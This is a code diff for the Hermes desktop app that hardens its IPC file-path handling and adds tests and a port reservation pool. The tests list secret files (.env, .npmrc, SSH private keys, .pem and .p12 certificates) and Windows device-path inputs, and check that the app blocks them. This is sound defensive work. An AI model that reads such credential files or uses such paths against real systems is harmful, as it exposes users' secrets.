const resolvedPath = resolveRequestedPathForIpc(filePath, { baseDir: options.baseDir, purpose })
|
||||
|
||||
if (options.blockSensitive !== false) {
|
||||
const blockReason = sensitiveFileBlockReason(resolvedPath)
|
||||
if (blockReason) {
|
||||
throw new Error(`${purpose} blocked for sensitive file: ${blockReason}`)
|
||||
}
|
||||
rejectSensitiveFilePath(resolvedPath, purpose)
|
||||
}
|
||||
|
||||
let stat
|
||||
try {
|
||||
stat = await fs.promises.stat(resolvedPath)
|
||||
} catch (error) {
|
||||
const code = error && typeof error === 'object' ? error.code : ''
|
||||
if (code === 'ENOENT' || code === 'ENOTDIR') {
|
||||
throw new Error(`${purpose} failed: file does not exist.`)
|
||||
}
|
||||
throw new Error(`${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
|
||||
}
|
||||
const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'file')
|
||||
|
||||
if (stat.isDirectory()) {
|
||||
throw new Error(`${purpose} failed: path points to a directory.`)
|
||||
throw ipcPathError('EISDIR', `${purpose} failed: path points to a directory.`)
|
||||
}
|
||||
|
||||
if (!stat.isFile()) {
|
||||
throw new Error(`${purpose} failed: only regular files can be read.`)
|
||||
throw ipcPathError('EINVAL', `${purpose} failed: only regular files can be read.`)
|
||||
}
|
||||
|
||||
const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
|
||||
if (options.blockSensitive !== false) {
|
||||
rejectSensitiveFilePath(realPath, purpose)
|
||||
}
|
||||
|
||||
const maxBytes = Number.isFinite(options.maxBytes) && Number(options.maxBytes) > 0 ? Number(options.maxBytes) : null
|
||||
if (maxBytes && stat.size > maxBytes) {
|
||||
throw new Error(`${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
|
||||
throw ipcPathError('EFBIG', `${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
|
||||
}
|
||||
|
||||
try {
|
||||
await fs.promises.access(resolvedPath, fs.constants.R_OK)
|
||||
await fsImpl.promises.access(resolvedPath, fs.constants.R_OK)
|
||||
} catch {
|
||||
throw new Error(`${purpose} failed: file is not readable.`)
|
||||
throw ipcPathError('EACCES', `${purpose} failed: file is not readable.`)
|
||||
}
|
||||
|
||||
return { resolvedPath, stat }
|
||||
return { realPath, resolvedPath, stat }
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
@@ -178,7 +262,10 @@ module.exports = {
|
||||
DEFAULT_FETCH_TIMEOUT_MS,
|
||||
TEXT_PREVIEW_SOURCE_MAX_BYTES,
|
||||
encryptDesktopSecret,
|
||||
rejectUnsafePathSyntax,
|
||||
resolveDirectoryForIpc,
|
||||
resolveReadableFileForIpc,
|
||||
resolveRequestedPathForIpc,
|
||||
resolveTimeoutMs,
|
||||
sensitiveFileBlockReason
|
||||
}
|
||||
|
||||
@@ -8,11 +8,20 @@ const { pathToFileURL } = require('node:url')
|
||||
const {
|
||||
DEFAULT_FETCH_TIMEOUT_MS,
|
||||
encryptDesktopSecret,
|
||||
resolveDirectoryForIpc,
|
||||
resolveReadableFileForIpc,
|
||||
resolveRequestedPathForIpc,
|
||||
resolveTimeoutMs,
|
||||
sensitiveFileBlockReason
|
||||
} = require('./hardening.cjs')
|
||||
|
||||
async function rejectsWithCode(promise, code) {
|
||||
await assert.rejects(promise, error => {
|
||||
assert.equal(error?.code, code)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
test('resolveTimeoutMs falls back to defaults and accepts overrides', () => {
|
||||
assert.equal(resolveTimeoutMs(undefined), DEFAULT_FETCH_TIMEOUT_MS)
|
||||
assert.equal(resolveTimeoutMs(0), DEFAULT_FETCH_TIMEOUT_MS)
|
||||
@@ -51,6 +60,52 @@ test('sensitiveFileBlockReason blocks obvious secret file patterns', () => {
|
||||
assert.match(String(sensitiveFileBlockReason('/tmp/server-cert.pem')), /\.pem/)
|
||||
})
|
||||
|
||||
test('path helpers reject blank non-string NUL and Windows device syntax', async () => {
|
||||
await rejectsWithCode(resolveReadableFileForIpc('', { purpose: 'File preview' }), 'invalid-path')
|
||||
await rejectsWithCode(resolveReadableFileForIpc(' ', { purpose: 'File preview' }), 'invalid-path')
|
||||
await rejectsWithCode(resolveReadableFileForIpc(null, { purpose: 'File preview' }), 'invalid-path')
|
||||
await rejectsWithCode(resolveReadableFileForIpc(`safe${String.fromCharCode(0)}name.txt`), 'invalid-path')
|
||||
|
||||
const devicePaths = [
|
||||
'\\\\?\\C:\\secret.txt',
|
||||
'\\\\.\\C:\\secret.txt',
|
||||
'\\\\?\\UNC\\server\\share\\secret.txt',
|
||||
'GLOBALROOT/Device/HarddiskVolumeShadowCopy1/secret.txt'
|
||||
]
|
||||
|
||||
for (const devicePath of devicePaths) {
|
||||
assert.throws(
|
||||
() => resolveRequestedPathForIpc(devicePath, { purpose: 'File preview' }),
|
||||
error => {
|
||||
assert.equal(error?.code, 'device-path')
|
||||
return true
|
||||
}
|
||||
)
|
||||
await rejectsWithCode(resolveReadableFileForIpc(devicePath, { purpose: 'File preview' }), 'device-path')
|
||||
}
|
||||
|
||||
assert.throws(
|
||||
() => resolveRequestedPathForIpc('file:///%E0%A4%A', { purpose: 'File preview' }),
|
||||
error => {
|
||||
assert.equal(error?.code, 'invalid-path')
|
||||
return true
|
||||
}
|
||||
)
|
||||
await rejectsWithCode(resolveReadableFileForIpc('file:///%E0%A4%A', { purpose: 'File preview' }), 'invalid-path')
|
||||
})
|
||||
|
||||
test('resolveRequestedPathForIpc resolves relative paths from the trimmed base directory', () => {
|
||||
const baseDir = path.join(os.tmpdir(), 'hermes-desktop-base')
|
||||
|
||||
assert.equal(
|
||||
resolveRequestedPathForIpc('notes.txt', {
|
||||
baseDir: ` ${baseDir} `,
|
||||
purpose: 'File preview'
|
||||
}),
|
||||
path.resolve(baseDir, 'notes.txt')
|
||||
)
|
||||
})
|
||||
|
||||
test('resolveReadableFileForIpc validates existence type size and sensitivity', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-hardening-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
@@ -71,6 +126,13 @@ test('resolveReadableFileForIpc validates existence type size and sensitivity',
|
||||
})
|
||||
assert.equal(fromFileUrl.resolvedPath, textPath)
|
||||
|
||||
const spacedPath = path.join(tempDir, 'notes with spaces.txt')
|
||||
fs.writeFileSync(spacedPath, 'space ok', 'utf8')
|
||||
const fromSpacedFileUrl = await resolveReadableFileForIpc(pathToFileURL(spacedPath).toString(), {
|
||||
purpose: 'File preview'
|
||||
})
|
||||
assert.equal(fromSpacedFileUrl.resolvedPath, spacedPath)
|
||||
|
||||
await assert.rejects(
|
||||
resolveReadableFileForIpc('missing.txt', {
|
||||
baseDir: tempDir,
|
||||
@@ -114,3 +176,91 @@ test('resolveReadableFileForIpc validates existence type size and sensitivity',
|
||||
})
|
||||
assert.equal(envTemplate.resolvedPath, envTemplatePath)
|
||||
})
|
||||
|
||||
test('resolveReadableFileForIpc blocks common sensitive files', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-sensitive-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
|
||||
const sshDir = path.join(tempDir, '.ssh')
|
||||
fs.mkdirSync(sshDir)
|
||||
|
||||
const blockedFiles = [
|
||||
path.join(tempDir, '.env'),
|
||||
path.join(tempDir, '.npmrc'),
|
||||
path.join(sshDir, 'id_ed25519'),
|
||||
path.join(tempDir, 'cert.pem'),
|
||||
path.join(tempDir, 'cert.p12'),
|
||||
path.join(tempDir, 'cert.pfx')
|
||||
]
|
||||
|
||||
for (const filePath of blockedFiles) {
|
||||
fs.writeFileSync(filePath, 'secret', 'utf8')
|
||||
await rejectsWithCode(resolveReadableFileForIpc(filePath, { purpose: 'File preview' }), 'sensitive-file')
|
||||
}
|
||||
|
||||
const allowed = path.join(tempDir, '.env.example')
|
||||
fs.writeFileSync(allowed, 'EXAMPLE_TOKEN=value', 'utf8')
|
||||
assert.equal((await resolveReadableFileForIpc(allowed, { purpose: 'File preview' })).resolvedPath, allowed)
|
||||
})
|
||||
|
||||
test('resolveReadableFileForIpc blocks symlinks whose realpath is sensitive', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-realpath-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
|
||||
const envPath = path.join(tempDir, '.env')
|
||||
const linkPath = path.join(tempDir, 'safe-name.txt')
|
||||
fs.writeFileSync(envPath, 'SECRET_TOKEN=123', 'utf8')
|
||||
|
||||
try {
|
||||
fs.symlinkSync(envPath, linkPath, 'file')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`symlink creation is not permitted on this platform (${error.code})`)
|
||||
return
|
||||
}
|
||||
throw error
|
||||
}
|
||||
|
||||
await rejectsWithCode(resolveReadableFileForIpc(linkPath, { purpose: 'File preview' }), 'sensitive-file')
|
||||
})
|
||||
|
||||
test('resolveDirectoryForIpc accepts directories and rejects invalid directory targets', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-dir-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
|
||||
const directory = path.join(tempDir, 'project')
|
||||
const filePath = path.join(tempDir, 'file.txt')
|
||||
fs.mkdirSync(directory)
|
||||
fs.writeFileSync(filePath, 'not a directory', 'utf8')
|
||||
|
||||
const resolved = await resolveDirectoryForIpc(directory)
|
||||
assert.equal(resolved.resolvedPath, directory)
|
||||
assert.equal(resolved.stat.isDirectory(), true)
|
||||
|
||||
await rejectsWithCode(resolveDirectoryForIpc(filePath), 'ENOTDIR')
|
||||
await rejectsWithCode(resolveDirectoryForIpc(path.join(tempDir, 'missing')), 'ENOENT')
|
||||
await rejectsWithCode(resolveDirectoryForIpc('\\\\?\\C:\\secret'), 'device-path')
|
||||
})
|
||||
|
||||
test('resolveDirectoryForIpc accepts directory symlinks or junctions', async t => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-dir-link-'))
|
||||
t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
|
||||
|
||||
const directory = path.join(tempDir, 'actual-project')
|
||||
const linkPath = path.join(tempDir, 'linked-project')
|
||||
fs.mkdirSync(directory)
|
||||
|
||||
try {
|
||||
fs.symlinkSync(directory, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
|
||||
return
|
||||
}
|
||||
throw error
|
||||
}
|
||||
|
||||
const resolved = await resolveDirectoryForIpc(linkPath)
|
||||
assert.equal(resolved.resolvedPath, linkPath)
|
||||
assert.equal(resolved.stat.isDirectory(), true)
|
||||
})
|
||||
|
||||
+199
-119
@@ -22,15 +22,20 @@ const http = require('node:http')
|
||||
const https = require('node:https')
|
||||
const net = require('node:net')
|
||||
const path = require('node:path')
|
||||
const { fileURLToPath, pathToFileURL } = require('node:url')
|
||||
const { pathToFileURL } = require('node:url')
|
||||
const { execFileSync, spawn } = require('node:child_process')
|
||||
const { detectRemoteDisplay, isWindowsBinaryPathInWsl, isWslEnvironment } = require('./bootstrap-platform.cjs')
|
||||
const { runBootstrap } = require('./bootstrap-runner.cjs')
|
||||
const { buildSessionWindowUrl, createSessionWindowRegistry } = require('./session-windows.cjs')
|
||||
const { canImportHermesCli, verifyHermesCli } = require('./backend-probes.cjs')
|
||||
const { probeGatewayWebSocket } = require('./gateway-ws-probe.cjs')
|
||||
const { adoptServedDashboardToken } = require('./dashboard-token.cjs')
|
||||
const { PortPool } = require('./port-pool.cjs')
|
||||
const { serializeJsonBody, setJsonRequestHeaders } = require('./oauth-net-request.cjs')
|
||||
const { fetchMarketplaceThemes, searchMarketplaceThemes } = require('./vscode-marketplace.cjs')
|
||||
const { buildDesktopBackendEnv } = require('./backend-env.cjs')
|
||||
const { readDirForIpc } = require('./fs-read-dir.cjs')
|
||||
const { gitRootForIpc } = require('./git-root.cjs')
|
||||
const {
|
||||
OFFICIAL_REPO_HTTPS_URL,
|
||||
isOfficialSshRemote
|
||||
@@ -65,6 +70,7 @@ const {
|
||||
TEXT_PREVIEW_SOURCE_MAX_BYTES,
|
||||
encryptDesktopSecret: encryptDesktopSecretStrict,
|
||||
resolveReadableFileForIpc,
|
||||
resolveRequestedPathForIpc,
|
||||
resolveTimeoutMs
|
||||
} = require('./hardening.cjs')
|
||||
|
||||
@@ -90,6 +96,7 @@ try {
|
||||
nodePty = require(nodePtyDir)
|
||||
}
|
||||
} catch {
|
||||
console.log(`[terminal] failed to load node-pty from path ${nodePtyDir}`)
|
||||
nodePty = null
|
||||
nodePtyDir = null
|
||||
}
|
||||
@@ -104,6 +111,10 @@ if (USER_DATA_OVERRIDE) {
|
||||
|
||||
const PORT_FLOOR = 9120
|
||||
const PORT_CEILING = 9199
|
||||
// In-process port reservations that close the pickPort() TOCTOU window where
|
||||
// two concurrent backend spawns could be handed the same port. See
|
||||
// port-pool.cjs for the full rationale.
|
||||
const portPool = new PortPool(PORT_FLOOR, PORT_CEILING)
|
||||
const DEV_SERVER = process.env.HERMES_DESKTOP_DEV_SERVER
|
||||
const IS_PACKAGED = app.isPackaged
|
||||
const IS_MAC = process.platform === 'darwin'
|
||||
@@ -730,7 +741,7 @@ function openExternalUrl(rawUrl) {
|
||||
if (parsed.protocol === 'file:') {
|
||||
let localPath
|
||||
try {
|
||||
localPath = fileURLToPath(parsed.toString())
|
||||
localPath = resolveRequestedPathForIpc(parsed.toString(), { purpose: 'Open external file' })
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
@@ -2124,9 +2135,11 @@ function createPythonBackend(root, label, dashboardArgs, options = {}) {
|
||||
label,
|
||||
command: python,
|
||||
args: ['-m', 'hermes_cli.main', ...dashboardArgs],
|
||||
env: {
|
||||
PYTHONPATH: [root, process.env.PYTHONPATH].filter(Boolean).join(path.delimiter)
|
||||
},
|
||||
env: buildDesktopBackendEnv({
|
||||
hermesHome: HERMES_HOME,
|
||||
pythonPathEntries: [root],
|
||||
venvRoot: path.join(root, 'venv')
|
||||
}),
|
||||
root,
|
||||
bootstrap: Boolean(options.bootstrap),
|
||||
shell: false
|
||||
@@ -2145,9 +2158,11 @@ function createActiveBackend(dashboardArgs) {
|
||||
label: `Hermes at ${ACTIVE_HERMES_ROOT}`,
|
||||
command: fileExists(venvPython) ? venvPython : findSystemPython(),
|
||||
args: ['-m', 'hermes_cli.main', ...dashboardArgs],
|
||||
env: {
|
||||
PYTHONPATH: [ACTIVE_HERMES_ROOT, process.env.PYTHONPATH].filter(Boolean).join(path.delimiter)
|
||||
},
|
||||
env: buildDesktopBackendEnv({
|
||||
hermesHome: HERMES_HOME,
|
||||
pythonPathEntries: [ACTIVE_HERMES_ROOT],
|
||||
venvRoot: VENV_ROOT
|
||||
}),
|
||||
root: ACTIVE_HERMES_ROOT,
|
||||
bootstrap: true,
|
||||
shell: false
|
||||
@@ -2449,10 +2464,11 @@ function isPortAvailable(port) {
|
||||
}
|
||||
|
||||
async function pickPort() {
|
||||
for (let port = PORT_FLOOR; port <= PORT_CEILING; port += 1) {
|
||||
if (await isPortAvailable(port)) return port
|
||||
const port = await portPool.reserve(isPortAvailable)
|
||||
if (port === null) {
|
||||
throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
|
||||
}
|
||||
throw new Error(`No free localhost port in ${PORT_FLOOR}-${PORT_CEILING}`)
|
||||
return port
|
||||
}
|
||||
|
||||
function fetchJson(url, token, options = {}) {
|
||||
@@ -2878,10 +2894,10 @@ async function resourceBufferFromUrl(rawUrl) {
|
||||
const buffer = match[2] ? Buffer.from(encoded, 'base64') : Buffer.from(decodeURIComponent(encoded), 'utf8')
|
||||
return { buffer, mimeType }
|
||||
}
|
||||
if (rawUrl.startsWith('file:')) {
|
||||
const filePath = fileURLToPath(rawUrl)
|
||||
const buffer = await fs.promises.readFile(filePath)
|
||||
return { buffer, mimeType: mimeTypeForPath(filePath) }
|
||||
if (/^file:/i.test(rawUrl)) {
|
||||
const { resolvedPath } = await resolveReadableFileForIpc(rawUrl, { purpose: 'Image file' })
|
||||
const buffer = await fs.promises.readFile(resolvedPath)
|
||||
return { buffer, mimeType: mimeTypeForPath(resolvedPath) }
|
||||
}
|
||||
|
||||
const parsed = new URL(rawUrl)
|
||||
@@ -2959,11 +2975,13 @@ function expandUserPath(filePath) {
|
||||
return value
|
||||
}
|
||||
|
||||
function previewFileTarget(rawTarget, baseDir) {
|
||||
async function previewFileTarget(rawTarget, baseDir) {
|
||||
const raw = String(rawTarget || '').trim()
|
||||
const base = baseDir ? path.resolve(expandUserPath(baseDir)) : resolveHermesCwd()
|
||||
const filePath = raw.startsWith('file:') ? fileURLToPath(raw) : path.resolve(base, expandUserPath(raw))
|
||||
let resolved = filePath
|
||||
let resolved = resolveRequestedPathForIpc(/^file:/i.test(raw) ? raw : expandUserPath(raw), {
|
||||
baseDir: base,
|
||||
purpose: 'Preview target'
|
||||
})
|
||||
|
||||
if (directoryExists(resolved)) {
|
||||
resolved = path.join(resolved, 'index.html')
|
||||
@@ -2974,6 +2992,8 @@ function previewFileTarget(rawTarget, baseDir) {
|
||||
return null
|
||||
}
|
||||
|
||||
;({ resolvedPath: resolved } = await resolveReadableFileForIpc(resolved, { purpose: 'Preview target' }))
|
||||
|
||||
const mimeType = mimeTypeForPath(resolved)
|
||||
const metadata = previewFileMetadata(resolved, mimeType)
|
||||
const isHtml = PREVIEW_HTML_EXTENSIONS.has(ext)
|
||||
@@ -3019,7 +3039,7 @@ function previewUrlTarget(rawTarget) {
|
||||
}
|
||||
}
|
||||
|
||||
function normalizePreviewTarget(rawTarget, baseDir) {
|
||||
async function normalizePreviewTarget(rawTarget, baseDir) {
|
||||
const raw = String(rawTarget || '').trim()
|
||||
|
||||
if (!raw) {
|
||||
@@ -3031,20 +3051,15 @@ function normalizePreviewTarget(rawTarget, baseDir) {
|
||||
return previewUrlTarget(raw)
|
||||
}
|
||||
|
||||
return previewFileTarget(raw, baseDir)
|
||||
return await previewFileTarget(raw, baseDir)
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
function filePathFromPreviewUrl(rawUrl) {
|
||||
const filePath = fileURLToPath(String(rawUrl || ''))
|
||||
|
||||
if (!fileExists(filePath)) {
|
||||
throw new Error('Preview file is not readable')
|
||||
}
|
||||
|
||||
return filePath
|
||||
async function filePathFromPreviewUrl(rawUrl) {
|
||||
const { resolvedPath } = await resolveReadableFileForIpc(String(rawUrl || ''), { purpose: 'Preview file' })
|
||||
return resolvedPath
|
||||
}
|
||||
|
||||
function sendPreviewFileChanged(payload) {
|
||||
@@ -3054,8 +3069,8 @@ function sendPreviewFileChanged(payload) {
|
||||
webContents.send('hermes:preview-file-changed', payload)
|
||||
}
|
||||
|
||||
function watchPreviewFile(rawUrl) {
|
||||
const filePath = filePathFromPreviewUrl(rawUrl)
|
||||
async function watchPreviewFile(rawUrl) {
|
||||
const filePath = await filePathFromPreviewUrl(rawUrl)
|
||||
const watchDir = path.dirname(filePath)
|
||||
const targetName = path.basename(filePath)
|
||||
const id = crypto.randomBytes(12).toString('base64url')
|
||||
@@ -4537,9 +4552,20 @@ async function spawnPoolBackend(profile, entry) {
|
||||
// --profile wins over the inherited HERMES_HOME env (see _apply_profile_override
|
||||
// step 3 in hermes_cli/main.py), so the child re-homes to this profile.
|
||||
const dashboardArgs = ['--profile', profile, 'dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
|
||||
const backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
|
||||
const hermesCwd = resolveHermesCwd()
|
||||
const webDist = resolveWebDist()
|
||||
let backend
|
||||
let hermesCwd
|
||||
let webDist
|
||||
try {
|
||||
backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
|
||||
hermesCwd = resolveHermesCwd()
|
||||
webDist = resolveWebDist()
|
||||
} catch (error) {
|
||||
// These run before the child exists / its exit handler is attached, so a
|
||||
// throw here would otherwise leak the reservation and slowly exhaust the
|
||||
// 9120-9199 range across switch cycles in one app session.
|
||||
portPool.release(port)
|
||||
throw error
|
||||
}
|
||||
|
||||
rememberLog(`Starting Hermes backend for profile "${profile}" via ${backend.label}`)
|
||||
|
||||
@@ -4577,11 +4603,13 @@ async function spawnPoolBackend(profile, entry) {
|
||||
child.once('error', error => {
|
||||
rememberLog(`Hermes backend for profile "${profile}" failed to start: ${error.message}`)
|
||||
backendPool.delete(profile)
|
||||
portPool.release(port)
|
||||
rejectStart?.(error)
|
||||
})
|
||||
child.once('exit', (code, signal) => {
|
||||
rememberLog(`Hermes backend for profile "${profile}" exited (${signal || code})`)
|
||||
backendPool.delete(profile)
|
||||
portPool.release(port)
|
||||
if (!ready) {
|
||||
rejectStart?.(
|
||||
new Error(`Hermes backend for profile "${profile}" exited before it became ready (${signal || code}).`)
|
||||
@@ -4592,15 +4620,21 @@ async function spawnPoolBackend(profile, entry) {
|
||||
const baseUrl = `http://127.0.0.1:${port}`
|
||||
await Promise.race([waitForHermes(baseUrl, token), startFailed])
|
||||
ready = true
|
||||
const authToken = await adoptServedDashboardToken(baseUrl, token, {
|
||||
childAlive: () => child.exitCode === null && !child.killed,
|
||||
label: `Hermes backend for profile "${profile}"`,
|
||||
rememberLog
|
||||
})
|
||||
entry.token = authToken
|
||||
|
||||
return {
|
||||
baseUrl,
|
||||
mode: 'local',
|
||||
source: 'local',
|
||||
authMode: 'token',
|
||||
token,
|
||||
token: authToken,
|
||||
profile,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
|
||||
logs: hermesLog.slice(-80),
|
||||
...getWindowState()
|
||||
}
|
||||
@@ -4610,6 +4644,7 @@ function stopPoolBackend(profile) {
|
||||
const entry = backendPool.get(profile)
|
||||
if (!entry) return
|
||||
backendPool.delete(profile)
|
||||
if (entry.port) portPool.release(entry.port)
|
||||
if (entry.process && !entry.process.killed) {
|
||||
try {
|
||||
entry.process.kill('SIGTERM')
|
||||
@@ -4695,6 +4730,11 @@ async function startHermes() {
|
||||
}
|
||||
if (connectionPromise) return connectionPromise
|
||||
|
||||
// Hoisted so the outer .catch can release a port reserved by pickPort() when
|
||||
// a throw (e.g. ensureRuntime failing) happens before the child's exit
|
||||
// handler is attached. Stays null on the remote path (no port picked).
|
||||
let reservedPort = null
|
||||
|
||||
connectionPromise = (async () => {
|
||||
await advanceBootProgress('backend.resolve', 'Resolving Hermes backend', 8)
|
||||
// Resolve for the desktop's primary profile so a per-profile remote
|
||||
@@ -4724,6 +4764,7 @@ async function startHermes() {
|
||||
|
||||
await advanceBootProgress('backend.port', 'Finding an open local port', 16)
|
||||
const port = await pickPort()
|
||||
reservedPort = port
|
||||
const token = crypto.randomBytes(32).toString('base64url')
|
||||
const dashboardArgs = ['dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
|
||||
// Pin the desktop's chosen profile via the global --profile flag. This is
|
||||
@@ -4788,6 +4829,7 @@ async function startHermes() {
|
||||
)
|
||||
hermesProcess = null
|
||||
connectionPromise = null
|
||||
portPool.release(port)
|
||||
sendBackendExit({ code: null, signal: null, error: error.message })
|
||||
rejectBackendStart?.(error)
|
||||
})
|
||||
@@ -4795,6 +4837,7 @@ async function startHermes() {
|
||||
rememberLog(`Hermes backend exited (${signal || code})`)
|
||||
hermesProcess = null
|
||||
connectionPromise = null
|
||||
portPool.release(port)
|
||||
sendBackendExit({ code, signal })
|
||||
if (!backendReady) {
|
||||
const message = `Hermes backend exited before it became ready (${signal || code}).`
|
||||
@@ -4819,6 +4862,11 @@ async function startHermes() {
|
||||
await advanceBootProgress('backend.wait', 'Waiting for Hermes backend to become ready', 90)
|
||||
await Promise.race([waitForHermes(baseUrl, token), backendStartFailed])
|
||||
backendReady = true
|
||||
const authToken = await adoptServedDashboardToken(baseUrl, token, {
|
||||
// The exit/error handlers null hermesProcess when the child dies.
|
||||
childAlive: () => hermesProcess !== null && hermesProcess.exitCode === null && !hermesProcess.killed,
|
||||
rememberLog
|
||||
})
|
||||
updateBootProgress({
|
||||
phase: 'backend.ready',
|
||||
message: 'Hermes backend is ready. Finalizing desktop startup',
|
||||
@@ -4832,8 +4880,8 @@ async function startHermes() {
|
||||
mode: 'local',
|
||||
source: 'local',
|
||||
authMode: 'token',
|
||||
token,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
|
||||
token: authToken,
|
||||
wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
|
||||
logs: hermesLog.slice(-80),
|
||||
...getWindowState()
|
||||
}
|
||||
@@ -4849,6 +4897,7 @@ async function startHermes() {
|
||||
{ allowDecrease: true }
|
||||
)
|
||||
connectionPromise = null
|
||||
portPool.release(reservedPort)
|
||||
throw error
|
||||
})
|
||||
|
||||
@@ -5123,8 +5172,8 @@ ipcMain.handle('hermes:bootstrap:reset', async () => {
|
||||
// reset connection state so the next startHermes() call restarts the
|
||||
// full backend flow (including a fresh runBootstrap pass).
|
||||
rememberLog('[bootstrap] reset requested by renderer; clearing latched failure')
|
||||
await teardownPrimaryBackendAndWait()
|
||||
bootstrapFailure = null
|
||||
connectionPromise = null
|
||||
bootstrapState = {
|
||||
active: false,
|
||||
manifest: null,
|
||||
@@ -5587,48 +5636,6 @@ ipcMain.handle('hermes:logs:reveal', async () => {
|
||||
|
||||
ipcMain.handle('hermes:logs:recent', async () => ({ path: DESKTOP_LOG_PATH, lines: hermesLog.slice(-200) }))
|
||||
|
||||
// Always-hidden noise (covers non-git projects too — gitignore would catch
|
||||
// these anyway when present, but we want the same hygiene without one).
|
||||
const FS_READDIR_HIDDEN = new Set([
|
||||
'.git',
|
||||
'.hg',
|
||||
'.svn',
|
||||
'.cache',
|
||||
'.next',
|
||||
'.turbo',
|
||||
'.venv',
|
||||
'__pycache__',
|
||||
'build',
|
||||
'dist',
|
||||
'node_modules',
|
||||
'target',
|
||||
'venv'
|
||||
])
|
||||
|
||||
function findGitRoot(start) {
|
||||
let dir = start
|
||||
|
||||
for (let i = 0; i < 50; i += 1) {
|
||||
try {
|
||||
if (fs.existsSync(path.join(dir, '.git'))) {
|
||||
return dir
|
||||
}
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
|
||||
const parent = path.dirname(dir)
|
||||
|
||||
if (parent === dir) {
|
||||
return null
|
||||
}
|
||||
|
||||
dir = parent
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
function isExecutableFile(filePath) {
|
||||
if (!filePath || !path.isAbsolute(filePath)) {
|
||||
return false
|
||||
@@ -5811,46 +5818,9 @@ function disposeTerminalSession(id) {
|
||||
return true
|
||||
}
|
||||
|
||||
ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => {
|
||||
const resolved = path.resolve(String(dirPath || ''))
|
||||
ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => readDirForIpc(dirPath))
|
||||
|
||||
if (!resolved) {
|
||||
return { entries: [], error: 'invalid-path' }
|
||||
}
|
||||
|
||||
try {
|
||||
const dirents = await fs.promises.readdir(resolved, { withFileTypes: true })
|
||||
|
||||
const entries = dirents
|
||||
.filter(d => {
|
||||
if (FS_READDIR_HIDDEN.has(d.name)) {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
})
|
||||
.map(d => ({ name: d.name, path: path.join(resolved, d.name), isDirectory: d.isDirectory() }))
|
||||
.sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
|
||||
|
||||
return { entries }
|
||||
} catch (error) {
|
||||
return { entries: [], error: error?.code || 'read-error' }
|
||||
}
|
||||
})
|
||||
|
||||
ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => {
|
||||
const input = String(startPath || '')
|
||||
const resolved = input.startsWith('file:') ? fileURLToPath(input) : path.resolve(input)
|
||||
|
||||
try {
|
||||
const stat = await fs.promises.stat(resolved)
|
||||
const start = stat.isDirectory() ? resolved : path.dirname(resolved)
|
||||
|
||||
return findGitRoot(start)
|
||||
} catch {
|
||||
return findGitRoot(resolved)
|
||||
}
|
||||
})
|
||||
ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => gitRootForIpc(startPath))
|
||||
|
||||
ipcMain.handle('hermes:terminal:start', async (event, payload = {}) => {
|
||||
if (!nodePty) {
|
||||
@@ -6188,6 +6158,111 @@ ipcMain.handle('hermes:vscode-theme:fetch', async (_event, id) => fetchMarketpla
|
||||
// Search the Marketplace for color-theme extensions (empty query = top installs).
|
||||
ipcMain.handle('hermes:vscode-theme:search', async (_event, query) => searchMarketplaceThemes(String(query || ''), 20))
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// hermes:// deep links (e.g. hermes://blueprint/morning-brief?time=08:00).
|
||||
// A docs/dashboard "Send to App" button opens this URL; we route it into the
|
||||
// running app's chat composer. Three delivery paths: macOS 'open-url',
|
||||
// Win/Linux running-app 'second-instance' (argv), Win/Linux cold-start argv.
|
||||
// ---------------------------------------------------------------------------
|
||||
const HERMES_PROTOCOL = 'hermes'
|
||||
let _pendingDeepLink = null
|
||||
let _rendererReadyForDeepLink = false
|
||||
|
||||
function _extractDeepLink(argv) {
|
||||
if (!Array.isArray(argv)) return null
|
||||
